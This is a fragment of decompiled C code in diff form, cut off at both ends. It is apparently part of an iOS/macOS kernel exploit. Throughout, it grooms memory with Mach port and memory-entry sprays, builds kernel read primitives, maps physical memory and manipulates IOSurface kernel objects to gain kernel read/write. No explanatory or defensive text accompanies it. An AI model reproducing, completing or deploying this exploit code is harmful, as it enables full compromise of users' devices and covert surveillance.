( madvise(v14, v13, 3) ) + { +LABEL_15: + v15 = *__error(); + if ( v15 < 0 ) + v15 = -v15; + return v15 | 0x40000000u; + } + v16 = 0xFFFFFFFFFFFFFFFELL; + do + { + v16 += 2LL; + if ( (v16 & 2) != 0 ) + v17 = 1; + else + v17 = 2; + if ( madvise((void *)(*(_QWORD *)&outputStruct[0].msgh_bits + vm_page_size * v16), 2 * vm_page_size, v17) ) + goto LABEL_15; + } + while ( v16 < 0x1FE ); + for ( j = 0xB10LL; j != 0xC10; ++j ) + { + name.msgh_bits = 0; + memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits); + if ( memory_entry ) + return memory_entry | 0x80000000; + msgh_bits = name.msgh_bits; + *(_DWORD *)(v2 + 4 * j) = name.msgh_bits; + v318[0] = 0x400; + memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, v318, 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + } + v258 = (unsigned int *)(v2 + 0x4644); + v20 = *((_QWORD *)v3 + 0x2B); + if ( v20 > 0x27120F04B00002LL ) + { + if ( (*(_BYTE *)v3 & 0x20) != 0 ) + { + v8 = sub_A614((__int64)v3); + if ( (_DWORD)v8 ) + return v8; + v21 = sub_B73C((__int64)v3); + if ( v21 ) + { + v22 = v21; + v23 = getpid(); + v24 = krw_task_for_pid_0((__int64)v3, v22, v23); + *(_QWORD *)(v2 + 0x2C10) = v24; + goto LABEL_207; + } + return 0x28026LL; + } + goto LABEL_36; + } + if ( v20 > 0x27120080CFFFFFLL || v20 >= 0x225C23801AF00ELL && *((int *)v3 + 0x50) < 0x2712 ) + { +LABEL_36: + theDict = (CFMutableDictionaryRef)(&stru_68 + 0x44); + v260 = 0xB8LL; + v25 = 0x58LL; + goto LABEL_40; + } + theDict = (CFMutableDictionaryRef)(&stru_68 + 0x3C); + v260 = 0xB0LL; + v25 = 0x50LL; +LABEL_40: + *(_QWORD *)v269 = v25; + arc4random_buf((void *)(v2 + 0x3510), 8uLL); + arc4random_buf((void *)(v2 + 0x3518), 8uLL); + v26 = *(_QWORD *)(v2 + 0x3488); + v8 = 0xAD001LL; + if ( !v26 ) + return v8; + v27 = *(_QWORD *)(v2 + 0x3490); + if ( !v27 ) + return 0xAD001LL; + madvise((void *)(v27 + v26 - vm_page_size), vm_page_size, 3); + if ( krw_ctx_has_flag(v3, 0x5184001) && !krw_ctx_has_flag(v3, 0x20) ) + { + v55 = 0LL; + v332 = 0u; + v333 = 0u; + v330 = 0u; + v331 = 0u; + v328 = 0u; + v329 = 0u; + v326 = 0u; + v327 = 0u; + v324 = 0u; + v325 = 0u; + v322 = 0u; + v323 = 0u; + v321 = 0u; + memset(outputStruct, 0, sizeof(outputStruct)); + while ( 1 ) + { + v56 = vm_map( + mach_task_self_, + (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v55), + 0x2000000uLL, + 0x1FFFFFFuLL, + 0xC8000009, + 0, + 0LL, + 0, + 3, + 3, + 1u); + if ( v56 != 3 ) + { + v57 = v56; + if ( v56 ) + goto LABEL_110; + if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v55), vm_page_size, 3) ) + break; + } + v55 += 8LL; + if ( v55 == 0x100 ) + { + v57 = 0; + goto LABEL_110; + } + } + v57 = 5; +LABEL_110: + for ( k = 0LL; k != 0x100; k += 8LL ) + { + v59 = *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k); + if ( v59 ) + { + vm_deallocate(mach_task_self_, v59, 0x2000000uLL); + *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k) = 0LL; + } + } + if ( v57 ) + return v57 | 0x80000000; + } + v28 = 0LL; + v266 = 0LL; + v302 = 0LL; + v22 = 0x2B0LL; + while ( 1 ) + { + sub_1F190(); + if ( *(_DWORD *)v2 != 3 ) + { + v29 = 4; +LABEL_50: + v8 = v29 | 0x80000000; + goto LABEL_51; + } + v29 = sub_BED0((__int64)v3, v2, 0x10u, v2 + 0x2B0 * v28 + 0x10); + if ( v29 ) + goto LABEL_50; + sub_1F190(); + v292 = (int8x8_t *)(v2 + 0x2B0 * v28 + 0x10); + v30 = sub_FAE4((_QWORD *)v2, v292); + if ( !(_DWORD)v30 ) + break; + v8 = v30; +LABEL_51: + if ( ++v28 == 0x10 ) + goto LABEL_205; + } + v259 = v28; + sub_1F190(); + if ( !*(_DWORD *)(v2 + 0x3480) ) + { + sub_1F190(); +LABEL_100: + v8 = 0xAD00CLL; + goto LABEL_101; + } + v31 = 0LL; + v262 = *(_QWORD *)(v2 + 0x3478); + v264 = *(unsigned int *)(v2 + 0x34E8); + v257 = (mach_port_t *)(v2 + 4 * v28 + 0x34A8); + v32 = v2 + 0x2B0 * v28; + v279 = (unsigned int *)(v32 + 0x30); + v274 = -(int)v264; + v8 = 0xAD00CLL; + v33 = (_QWORD *)(v2 + 0x3518); + v290 = v32 + 0x28; + do + { + v318[0] = 0; + *(_QWORD *)&name.msgh_bits = vm_page_size; + if ( v31 && !((unsigned int)v31 % (unsigned int)v264) ) + { + v34 = *(_QWORD *)(v2 + 0x3498); + if ( (_DWORD)v264 ) + { + v35 = v274; + v36 = *(_DWORD **)(v2 + 0x3498); + v37 = v264; + do + { + *v36++ = *(_DWORD *)(v262 + 4LL * v35); + *(_DWORD *)(v262 + 4LL * v35++) = 0; + --v37; + } + while ( v37 ); + } + *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80001514LL; + v38 = *v257; + *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; + *(_QWORD *)&outputStruct[1].msgh_size = v34; + outputStruct[1].msgh_voucher_port = v264; + outputStruct[0].msgh_remote_port = v38; + outputStruct[1].msgh_local_port = 0x2110000; + if ( mach_msg(outputStruct, 0x40011, 0x2Cu, 0, 0, 0, 0) ) + break; + } + v39 = v302 ? 0x4022003 : 0x4020003; + if ( mach_make_memory_entry( + mach_task_self_, + (vm_size_t *)&name.msgh_bits, + 0LL, + v39, + (mem_entry_name_port_t *)v318, + 0) ) + { + break; + } + value = v31; + *(_DWORD *)(v262 + 4LL * (_QWORD)v31) = v318[0]; + v40 = *v279; + if ( !*v279 ) + goto LABEL_92; + v41 = 0LL; + v43 = (int8x8_t *)v290; + v42 = v292; + v44 = *(int8x8_t *)v290; + while ( 1 ) + { + v45 = 1LL << v41; + if ( ((1LL << v41) & *(_QWORD *)&v44) != 0 ) + goto LABEL_89; + v46 = (_QWORD *)(*(_QWORD *)v42 + vm_page_size * v41); + if ( *v46 == *v33 ) + goto LABEL_89; + if ( vm_page_size ) + break; +LABEL_88: + *(_QWORD *)&v44 |= v45; + *v43 = v44; + v8 = 0xAD011LL; +LABEL_89: + if ( ++v41 >= (unsigned __int64)v40 ) + goto LABEL_93; + } + v47 = 0LL; + v48 = 0; + v49 = theDict; + while ( 1 ) + { + v50 = (char *)v46 + v47; + v51 = *(_DWORD *)((char *)v46 + v47 + 0x28); + if ( v51 > 0x80 ) + { +LABEL_87: + v44 = *v43; + v33 = (_QWORD *)(v2 + 0x3518); + v40 = *v279; + goto LABEL_88; + } + if ( *(_DWORD *)v50 && *(_DWORD *)v50 == *((_DWORD *)v50 + 1) ) + { + v52 = *((unsigned __int8 *)v49 + (_QWORD)v50) != 0x80 && v51 == 1; + if ( v52 && *((_QWORD *)v50 + 3) == *(_QWORD *)&name.msgh_bits ) + break; + } +LABEL_86: + v48 += *(_DWORD *)(v2 + 0x34EC); + v47 = v48; + if ( vm_page_size <= v48 ) + goto LABEL_87; + } + if ( v302 ) + { + v266 = *(_QWORD *)&v50[*(_QWORD *)v269]; + if ( validate_addr((__int64)v3, v266) ) + { + v8 = 0LL; + *(_QWORD *)v290 |= 1LL << v41; + break; + } + goto LABEL_85; + } + v53 = *(_QWORD *)&v50[v260]; + if ( !validate_addr((__int64)v3, v53) ) + { + v302 = 0LL; + v49 = theDict; +LABEL_85: + v43 = (int8x8_t *)v290; + v42 = v292; + v45 = 1LL << v41; + goto LABEL_86; + } + *(_DWORD *)(v262 + 4LL * (_QWORD)value) = 0; + *(_DWORD *)(v2 + 0x34F0) = v318[0]; + *(_QWORD *)(v2 + 0x34F8) = v53 - v260; + v40 = *v279; + v8 = 0xAD011LL; + v302 = v50; + v33 = (_QWORD *)(v2 + 0x3518); +LABEL_92: + v43 = (int8x8_t *)v290; +LABEL_93: + v54 = (uint8x8_t)vcnt_s8(*v43); + v54.i16[0] = vaddlv_u8(v54); + if ( v40 == v54.i32[0] ) + break; + v31 = (char *)value + 1; + ++v274; + } + while ( (unsigned __int64)value + 1 < *(unsigned int *)(v2 + 0x3480) ); + sub_1F190(); + if ( (_DWORD)v8 == 0xAD00C ) + goto LABEL_100; + if ( (_DWORD)v8 == 0xAD011 ) + { +LABEL_101: + v28 = v259; + v22 = 0x2B0LL; + goto LABEL_51; + } + *(_QWORD *)(v2 + 0x2C10) = v266; + if ( !validate_addr((__int64)v3, v266) ) + return 0x28026LL; + v60 = (unsigned int)v259; + while ( 2 ) + { + v61 = (int8x8_t *)(v2 + 0x2B0 * v60); + v63 = v61[2]; + v62 = v61 + 2; + if ( !*(_QWORD *)&v63 || !*(_QWORD *)(v2 + 0x2B0 * v60 + 0x18) ) + { + sub_1F190(); + if ( *(_DWORD *)v2 == 3 ) + { + v68 = sub_BED0((__int64)v3, v2, 0x10u, (__int64)v62); + if ( !v68 ) + { + sub_1F190(); + v69 = sub_FAE4((_QWORD *)v2, v62); + if ( !(_DWORD)v69 ) + { + sub_1F190(); + v65 = *(_DWORD *)(v2 + 0x2B0 * v60 + 0x30); + goto LABEL_134; + } + v8 = v69; +LABEL_128: + v67 = 0x29; + goto LABEL_129; + } + } + else + { + v68 = 4; + } + v8 = v68 | 0x80000000; + goto LABEL_128; + } + v64 = (int8x8_t *)(v2 + 0x2B0 * v60); + v65 = v64[6].u32[0]; + v66 = (uint8x8_t)vcnt_s8(v64[5]); + v66.i16[0] = vaddlv_u8(v66); + if ( v65 == v66.i32[0] ) + { + v67 = 0x29; + v8 = 0xAD011LL; + goto LABEL_129; + } +LABEL_134: + if ( v65 <= 0x40 ) + { + if ( *((_QWORD *)v3 + 0x2B) >> 0x2B < 0x44BuLL ) + v70 = 0; + else + v70 = *((_DWORD *)v3 + 0x60) % 0x50u; + v280 = *(_QWORD *)(v2 + 0x2C28) + *(_QWORD *)(v2 + 0x2C20); + theDicta = *(CFMutableDictionaryRef *)(v2 + 0x2C20); + v71 = vm_page_shift; + v290 = v2 + 0x2B0 * v60 + 0x30; + __handle = (int8x8_t *)(v2 + 0x2B0 * v60 + 0x28); + LODWORD(v72) = *(_DWORD *)(v2 + 0x3040); + do + { + if ( (unsigned int)v72 > 0xFF ) + { +LABEL_195: + v8 = 0xAD00CLL; + goto LABEL_196; + } + v73 = (unsigned int)v72 + 0xC11LL; + while ( *(_DWORD *)(v2 + 4 * v73) >= 0x400u ) + { + if ( (_DWORD)++v73 == 0xD11 ) + goto LABEL_195; + } + v74 = v73 - 0xC11; + *(_DWORD *)(v2 + 0x3040) = v74; + *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80000014LL; + v75 = *(_DWORD *)(v2 + 0x2C20 + 4LL * v74 + 0x20); + *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; + outputStruct[1].msgh_voucher_port = *(_QWORD *)(v2 + 0x2C28); + *(_QWORD *)&outputStruct[1].msgh_size = *(_QWORD *)(v2 + 0x2C20); + outputStruct[0].msgh_remote_port = v75; + outputStruct[1].msgh_local_port = 0x1000100; + v76 = mach_msg(outputStruct, 0x40011, 0x2Cu, 0, 0, 0, 0); + if ( v76 ) + { + v8 = v76 | 0x80000000; + goto LABEL_196; + } + v72 = *(unsigned int *)(v2 + 0x3040); + ++*(_DWORD *)(v2 + 4 * v72 + 0x3044); + v77 = *(unsigned int *)v290; + if ( (_DWORD)v77 ) + { + v78 = 0LL; + v79 = (vm_size_t)theDicta + 4 * vm_page_size; + v80 = v280 - 4 * vm_page_size; + v81 = *__handle; + do + { + v82 = 1LL << v78; + if ( ((1LL << v78) & *(_QWORD *)&v81) == 0 ) + { + v83 = (_QWORD *)(*(_QWORD *)v62 + (unsigned int)((_DWORD)v78 << v71)); + if ( *v83 != *(_QWORD *)(v2 + 0x3518) ) + { + v84 = *((_DWORD *)v3 + 0x60); + if ( v70 < v84 ) + { + for ( m = v70; m < v84; m += 0x50 ) + { + v86 = (_QWORD *)((char *)v83 + m); + v87 = *v86; + if ( (unsigned __int64)(*v86 - 1) < 0xFFFEFFFFFFFFFFFFLL ) + break; + if ( (v86[8] & 0xFFF) == 0xCC ) + { + v88 = v86[2]; + if ( v88 > v79 && v86[3] <= v80 ) + { + v89 = (char *)v83 + (*((_QWORD *)v3 + 0x31) & v87); + if ( *((_QWORD *)v89 + 3) == v88 ) + { + *(_QWORD *)(v2 + 0x3460) = v87; + *(_QWORD *)(v2 + 0x3450) = *((_QWORD *)v89 + 1); + *(_QWORD *)(v2 + 0x3448) = v86; + *(_QWORD *)(v2 + 0x3458) = v89; + *__handle = (int8x8_t)(v82 | *(_QWORD *)&v81); + v92 = sub_FD18((_DWORD *)v2, (__int64)v62); + if ( (_DWORD)v92 ) + { + v8 = v92; + goto LABEL_196; + } + v281 = *(unsigned int *)(v2 + 0x3040); + if ( (v281 & 0x80000000) != 0 ) + { +LABEL_184: + v96 = 0; +LABEL_188: + v100 = 1; + } + else + { + theDictb = *(CFMutableDictionaryRef *)(v2 + 0x3448); + while ( 1 ) + { + v93 = v2 + 4 * v281; + if ( *(_DWORD *)(v93 + 0x3044) ) + break; +LABEL_182: + v224 = v281-- <= 0; + if ( v224 ) + goto LABEL_184; + } + __handlea = (_DWORD *)(v93 + 0x3044); + v290 = v93 + 0x2C40; + while ( 1 ) + { + v94 = *(_DWORD *)v290; + LODWORD(v321) = 0; + memset(outputStruct, 0, sizeof(outputStruct)); + v95 = mach_msg(outputStruct, 2, 0, 0x34u, v94, 0, 0); + if ( v95 ) + { + v96 = v95 | 0x80000000; + goto LABEL_188; + } + v96 = 0x2802D; + if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 ) + goto LABEL_187; + if ( outputStruct[1].msgh_bits != 1 ) + goto LABEL_187; + v96 = 0x2802E; + if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 ) + goto LABEL_187; + v97 = *(_QWORD *)&outputStruct[1].msgh_size; + if ( !*(_QWORD *)&outputStruct[1].msgh_size ) + goto LABEL_187; + msgh_voucher_port = outputStruct[1].msgh_voucher_port; + if ( !outputStruct[1].msgh_voucher_port ) + { + v96 = 0x2802E; +LABEL_187: + mach_msg_destroy(outputStruct); + goto LABEL_188; + } + *(_QWORD *)&outputStruct[1].msgh_size = 0LL; + outputStruct[1].msgh_voucher_port = 0; + mach_msg_destroy(outputStruct); + v99 = *((_QWORD *)theDictb + 2); + --*__handlea; + if ( v99 >= v97 && v99 < msgh_voucher_port + v97 ) + break; + vm_deallocate(mach_task_self_, v97, msgh_voucher_port); + if ( !*__handlea ) + goto LABEL_182; + } + v100 = 0; + v96 = 0; + *(_QWORD *)(v2 + 0x2C30) = v97; + *(_QWORD *)(v2 + 0x2C38) = msgh_voucher_port; + } + if ( ((unsigned __int8)v100 & (v96 == 0)) != 0 ) + v8 = 0xAD011LL; + else + v8 = v96; + if ( (_DWORD)v8 != 0xAD011 ) + { + if ( !(_DWORD)v8 ) + *(_QWORD *)(v2 + 0x2C18) = v302; + goto LABEL_196; + } + goto LABEL_128; + } + } + } + } + } + *(_QWORD *)&v81 |= v82; + *__handle = v81; + } + } + ++v78; + } + while ( v78 != v77 ); + } + else + { + v81 = *__handle; + } + v90 = (uint8x8_t)vcnt_s8(v81); + v90.i16[0] = vaddlv_u8(v90); + } + while ( (_DWORD)v77 != v90.i32[0] ); + v91 = sub_FD18((_DWORD *)v2, (__int64)v62); + if ( v91 ) + v67 = 0x28; + else + v67 = 0x29; + if ( v91 ) + v8 = v91; + else + v8 = 0xAD011LL; +LABEL_129: + if ( v67 == 0x28 ) + goto LABEL_196; + v255 = v60++ >= 0xF; + if ( v255 ) + goto LABEL_196; + continue; + } + break; + } + v8 = 0xAD001LL; +LABEL_196: + v101 = *(_DWORD *)(v2 + 0x3480); + if ( v101 ) + { + v102 = 0LL; + v103 = *(_QWORD *)(v2 + 0x3478); + do + { + v104 = *(_DWORD *)(v103 + 4 * v102); + if ( v104 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v104); + v103 = *(_QWORD *)(v2 + 0x3478); + *(_DWORD *)(v103 + 4 * v102) = 0; + v101 = *(_DWORD *)(v2 + 0x3480); + } + ++v102; + } + while ( v102 < v101 ); + } + v105 = 0LL; + v22 = v2 + 0x34A8; + do + { + v106 = *(_DWORD *)(v22 + v105); + if ( v106 + 1 >= 2 ) + { + mach_port_mod_refs(mach_task_self_, v106, 1u, 0xFFFFFFFF); + *(_DWORD *)(v22 + v105) = 0; + } + v105 += 4LL; + } + while ( v105 != 0x40 ); +LABEL_205: + if ( (_DWORD)v8 ) + return v8; + *((_QWORD *)v3 + 0xA) = v2; + *((_QWORD *)v3 + 6) = kreadbuf_again; + v24 = *(_QWORD *)(v2 + 0x2C10); +LABEL_207: + v303 = 0x2800F; + v8 = 0x28026LL; + if ( !validate_addr((__int64)v3, v24) ) + return v8; + v107 = sub_32D80((__int64)v3, v24); + if ( !v107 ) + return v8; + *((_QWORD *)v3 + 0x34) = v107; + v108 = mach_host_self(); + v109 = sub_32D6C((__int64)v3, v108); + if ( !v109 ) + return 0x2800ELL; + *((_QWORD *)v3 + 0x35) = v109; + v110 = 0x18LL; + if ( *((int *)v3 + 0x50) <= 0x2257 ) + v111 = 0x18LL; + else + v111 = 0x10LL; + if ( *((int *)v3 + 0x50) <= 0x2257 ) + v112 = 0x68LL; + else + v112 = 0x60LL; + if ( *((int *)v3 + 0x50) <= 0x2257 ) + v110 = 0x10LL; + v293 = v110; + v113 = sub_33304((__int64)v3, v24); + if ( !v113 ) + return 0x28026; + if ( !kread64(v3, v111 + v113, (__int64 *)outputStruct) ) + return v303; + v114 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( !*(_QWORD *)&outputStruct[0].msgh_bits ) + return 0xAD011; + LODWORD(v8) = 0xAD011; + while ( 1 ) + { + if ( !validate_addr((__int64)v3, v114) ) + goto LABEL_246; + if ( !kread32_outptr((__int64)v3, *(_QWORD *)&outputStruct[0].msgh_bits + v112, v318) ) + goto LABEL_245; + if ( v318[0] ) + { + v115 = *(_QWORD *)&outputStruct[0].msgh_bits; + goto LABEL_228; + } + if ( !kread64(v3, *(_QWORD *)&outputStruct[0].msgh_bits + v111, (__int64 *)&name) ) + goto LABEL_245; + v115 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( *(_QWORD *)&outputStruct[0].msgh_bits == *(_QWORD *)&name.msgh_bits ) + break; +LABEL_228: + v116 = kread64(v3, v115 + v111, (__int64 *)outputStruct); + if ( v116 ) + v8 = (unsigned int)v8; + else + v8 = 0x2800FLL; + if ( v116 ) + { + v114 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( *(_QWORD *)&outputStruct[0].msgh_bits ) + continue; + } + goto LABEL_247; + } + if ( !kread64(v3, *(_QWORD *)&outputStruct[0].msgh_bits + v293, (__int64 *)&name) ) + goto LABEL_245; + if ( !validate_addr((__int64)v3, *(__int64 *)&name.msgh_bits) ) + goto LABEL_246; + if ( *((int *)v3 + 0x50) < 0x2258 ) + { +LABEL_244: + v8 = 0LL; + v22 = *(_QWORD *)&name.msgh_bits; + goto LABEL_247; + } + if ( kread64(v3, *(_QWORD *)&name.msgh_bits + 8LL, (__int64 *)&name) ) + { + if ( validate_addr((__int64)v3, *(__int64 *)&name.msgh_bits) ) + goto LABEL_244; +LABEL_246: + v8 = 0x28026LL; + } + else + { +LABEL_245: + v8 = 0x2800FLL; + } +LABEL_247: + if ( (_DWORD)v8 ) + return v8; + *((_QWORD *)v3 + 0x33B) = v22; + v8 = sub_211F4((__int64)v3, 0LL, *((_QWORD *)v3 + 0x35), (unsigned __int64 *)v3 + 0x33A); + if ( (_DWORD)v8 ) + return v8; + v8 = sub_39A24((__int64)v3, 0LL); + if ( (_DWORD)v8 ) + return v8; + v118 = *((_QWORD *)v3 + 0x2B); + if ( v118 > 0x27120F04B00002LL ) + { + if ( (*(_BYTE *)v3 & 0x20) != 0 ) + { + v8 = sub_A99C((__int64)v3); + if ( (_DWORD)v8 ) + return v8; + v8 = sub_27808((__int64)v3, 0); + if ( (_DWORD)v8 ) + return v8; + *((_QWORD *)v3 + 6) = 0LL; + v8 = sub_288D4((__int64)v3); + if ( (_DWORD)v8 ) + return v8; + v119 = (char *)v3 + 0x40; + goto LABEL_256; + } + goto LABEL_372; + } + if ( v118 > 0x225C1E804FFFFFLL + || v118 >= 0x225C1980500000LL && ((*(_DWORD *)v3 & 0x5584001) == 0 || (*(_DWORD *)v3 & 1) != 0) ) + { +LABEL_372: + theMagicPhysmapObjectPtr[0] = 0; + v172 = vm_page_size; + *(_QWORD *)&outputStruct[0].msgh_bits = vm_page_size; + *(_QWORD *)&name.msgh_bits = 0LL; + memory_entry = mach_make_memory_entry( + mach_task_self_, + (vm_size_t *)&outputStruct[0].msgh_bits, + 0LL, + 0x20003, + theMagicPhysmapObjectPtr, + 0); + if ( !memory_entry ) + { + objAddr = port_name_to_kaddr((__int64)v3, theMagicPhysmapObjectPtr[0]); + v8 = 0x28026LL; + if ( !objAddr ) + return v8; + objAddr_ = objAddr; + kobject_maybe = get_kobject_maybe((__int64)v3, objAddr); + if ( !kobject_maybe ) + return v8; + v176 = kobject_maybe; + v177 = sub_33A88((__int64)v3, objAddr_, 0); + v8 = 0x28026LL; + if ( !v177 ) + return v8; + v178 = v177; + __handlec = get_kobject_maybe((__int64)v3, v177); + if ( !__handlec ) + return v8; + v8 = sub_FE30(v2); + if ( (_DWORD)v8 ) + return v8; + v8 = sub_FF10((__int64)v3, *(_QWORD *)(v2 + 0x2C18), __handlec & ~*((_QWORD *)v3 + 0x31), v318); + if ( (_DWORD)v8 ) + return v8; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&name.msgh_bits, + v172, + 0LL, + 1, + *(_DWORD *)(v2 + 0x34F0), + 0LL, + 0, + 3, + 3, + 2u); + if ( !memory_entry ) + { + v179 = (*((_QWORD *)v3 + 0x31) & v178) + *(_QWORD *)&name.msgh_bits; + v8 = 0x28035LL; + if ( *(_DWORD *)v179 != *(_DWORD *)(v179 + 4) ) + return v8; + if ( *(_QWORD *)(v179 + 0x18) != *(_QWORD *)&outputStruct[0].msgh_bits ) + return v8; + v8 = sub_FF10((__int64)v3, v179, 0LL, 0LL); + if ( (_DWORD)v8 ) + return v8; + *(_QWORD *)(v179 + 0x18) = 0xFFFFFFFFFFFFFFFFLL; + memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v172); + if ( !memory_entry ) + { + v8 = sub_FF10((__int64)v3, *(_QWORD *)(v2 + 0x2C18), v176 & ~*((_QWORD *)v3 + 0x31), 0LL); + if ( (_DWORD)v8 ) + return v8; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&name.msgh_bits, + v172, + 0LL, + 1, + *(_DWORD *)(v2 + 0x34F0), + 0LL, + 0, + 3, + 3, + 2u); + if ( !memory_entry ) + { + v180 = *(_QWORD *)&name.msgh_bits; + v181 = (*((_QWORD *)v3 + 0x31) & objAddr_) + *(_QWORD *)&name.msgh_bits; + if ( *(_QWORD *)(v181 + 0x20) != *(_QWORD *)&outputStruct[0].msgh_bits ) + return 0x28011LL; + *(_QWORD *)(v181 + 0x20) = 0xFFFFFFFFFFFFFFFFLL; + memory_entry = vm_deallocate(mach_task_self_, v180, v172); + if ( !memory_entry ) + { + *((_DWORD *)v3 + 0x16) = theMagicPhysmapObjectPtr[0]; + v8 = sub_27808((__int64)v3, 0); + if ( (_DWORD)v8 ) + return v8; + *((_QWORD *)v3 + 0xA) = 0LL; + *((_QWORD *)v3 + 6) = 0LL; + v8 = sub_288D4((__int64)v3); + if ( (_DWORD)v8 ) + return v8; + goto LABEL_257; + } + } + } + } + } + return memory_entry | 0x80000000; + } + v314 = 0LL; + v310 = 0LL; + v182 = 0x120LL; + if ( *((int *)v3 + 0x50) > 0x2257 ) + v182 = 0x108LL; + theDictd = (CFMutableDictionaryRef)v182; + v183 = 0x118LL; + if ( *((int *)v3 + 0x50) > 0x2257 ) + v183 = 0x100LL; + v278 = vm_page_size; + v283 = v183; + *(_OWORD *)v318 = 0u; + v319 = 0u; + v184 = (unsigned int)sub_24D64("IOSurfaceRoot"); + v8 = 0x2800ELL; + if ( v184 + 1 < 2 ) + return v8; + v185 = v184; + if ( IOServiceOpen(v184, mach_task_self_, 0, (io_connect_t *)v318) || (v295 = sub_32D6C((__int64)v3, v318[0])) == 0 ) + { + v186 = 0; + v295 = 0LL; + v276 = 0; + } + else + { + v213 = 0LL; + while ( 1 ) + { + v290 = sub_328A4((__int64)v3, v295); + if ( !v290 ) + { + v186 = 0; + v290 = 0LL; + v276 = 0; + v8 = 0x28025LL; + goto LABEL_402; + } + if ( *((unsigned int *)v3 + 0x60) - (*((_QWORD *)v3 + 0x31) & (unsigned __int64)v290) >= 0x200 ) + { + v8 = 0LL; + v186 = v318[v213]; + v276 = 1; + goto LABEL_402; + } + if ( v213 == 7 ) + { + v186 = 0; + v276 = 0; + v8 = 0xAD011LL; + goto LABEL_402; + } + if ( IOServiceOpen(v185, mach_task_self_, 0, (io_connect_t *)&v318[v213 + 1]) ) + break; + v214 = sub_32D6C((__int64)v3, v318[++v213]); + v295 = v214; + if ( !v214 ) + { + v186 = 0; + v295 = 0LL; + goto LABEL_482; + } + } + v186 = 0; +LABEL_482: + v276 = 0; + } + v8 = 0x2800ELL; +LABEL_402: + for ( n = 0LL; n != 8; ++n ) + { + v188 = v318[n]; + if ( v188 + 1 >= 2 && v188 != v186 ) + { + IOServiceClose(v188); + v318[n] = 0; + } + } + IOObjectRelease(v185); + if ( !v276 ) + return v8; + v271 = (__int64)theDictd + v290; + v268 = v290 + v283; + v190 = 7; + while ( 2 ) + { + v277 = v190; + outputStructCnt = 0xF60LL; + __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1); + if ( !__handled ) + return 0x1B001LL; + v191 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal"); + if ( !v191 ) + goto LABEL_485; + v192 = *v191; + if ( !*v191 ) + goto LABEL_485; + v193 = (const void **)dlsym(__handled, "kIOSurfaceWidth"); + if ( !v193 ) + goto LABEL_485; + v194 = *v193; + if ( !*v193 ) + goto LABEL_485; + v195 = (const void **)dlsym(__handled, "kIOSurfaceHeight"); + if ( !v195 ) + goto LABEL_485; + v196 = *v195; + if ( !*v195 ) + goto LABEL_485; + theDicte = CFDictionaryCreateMutable(0LL, 0LL, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + if ( !theDicte ) + { + v4 = 0xAD009LL; +LABEL_485: + dlclose(__handled); + return v4; + } + CFDictionarySetValue(theDicte, v192, kCFBooleanFalse); + sub_101AC(theDicte, v194); + sub_101AC(theDicte, v196); + v197 = IOCFSerialize(theDicte, 1uLL); + if ( v197 ) + { + v198 = v197; + v199 = *((_DWORD *)v3 + 0x50); + if ( v199 >= 0x2258 ) + { + outputStructCnt = 0xA68LL; + goto LABEL_427; + } + if ( v199 < 0x1F53 ) + { + v201 = 0LL; + v200 = 0; + } + else + { +LABEL_427: + *(_QWORD *)theMagicPhysmapObjectPtr = 0LL; + v200 = 1; + v201 = theMagicPhysmapObjectPtr; + } + BytePtr = CFDataGetBytePtr(v197); + Length = CFDataGetLength(v198); + if ( IOConnectCallMethod( + v186, + 0, + (const uint64_t *)v201, + v200, + BytePtr, + Length, + 0LL, + 0LL, + outputStruct, + &outputStructCnt) ) + { + v8 = 0x1001LL; + } + else + { + v204 = v283; + if ( outputStruct[1].msgh_bits < 0x10000 ) + v204 = outputStruct[1].msgh_bits; + LODWORD(v283) = v204; + if ( outputStruct[1].msgh_bits >= 0x10000 ) + v8 = 0x28011LL; + else + v8 = 0LL; + } + CFRelease(v198); + } + else + { + v8 = 0xAD009LL; + } + CFRelease(theDicte); + dlclose(__handled); + if ( (_DWORD)v8 ) + return v8; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v271, 8LL, (__int64)&v311) ) + return 0x2800FLL; + if ( v311 <= (unsigned int)v283 ) + return 0x28011LL; + if ( !kread64(v3, v268, &v315) ) + return 0x2800FLL; + if ( !validate_addr((__int64)v3, v315) ) + return 0x28026LL; + if ( !kread64(v3, v315 + (unsigned int)(8 * v283), &v314) ) + return 0x2800FLL; + if ( !validate_addr((__int64)v3, v314) ) + return 0x28026LL; + if ( !kread64(v3, v314 + 0x40, &v313) ) + return 0x2800FLL; + if ( !validate_addr((__int64)v3, v313) ) + return 0x28026LL; + v205 = *((_QWORD *)v3 + 0x31); + v206 = v205 & v313; + if ( *((unsigned int *)v3 + 0x60) - (v205 & (unsigned __int64)v313) <= 0x4FF ) + { + v190 = v277 - 1; + if ( v277 ) + continue; + } + break; + } + sub_2183C((__int64)v3, v313 & ~v205, (__int64)&name); + v8 = 0x28026LL; + if ( !v207 ) + return v8; + __handlee = v309; + v208 = *((_QWORD *)v3 + 0x31); + sub_2183C((__int64)v3, v290 & ~v208, (__int64)&name); + if ( !v209 ) + return v8; + v210 = v309; + v8 = sub_FE30(v2); + if ( (_DWORD)v8 ) + return v8; + v8 = sub_1003C( + (__int64)v3, + *(_QWORD *)(v2 + 0x2C18), + *(_QWORD *)(v2 + 0x34F8), + 0, + *(_QWORD *)(v2 + 0x2C18) + 0xC0LL, + *(_QWORD 